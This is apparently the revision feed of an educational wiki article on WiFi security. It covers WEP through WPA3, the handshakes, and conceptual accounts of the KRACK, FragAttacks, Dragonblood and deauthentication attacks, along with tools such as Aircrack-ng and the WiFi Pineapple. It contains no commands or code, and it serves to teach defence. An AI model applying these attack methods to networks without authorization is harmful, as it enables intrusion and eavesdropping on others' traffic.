After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16777</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16777"/>
		<updated>2024-12-07T16:35:57Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets.&lt;br /&gt;
*WEP can not prevent Replay Attacks&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.&lt;br /&gt;
*WEP doesn&#039;t use different IV&#039;s every time, this allows to decrypt data without knowing the current key.&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key.&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages.&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
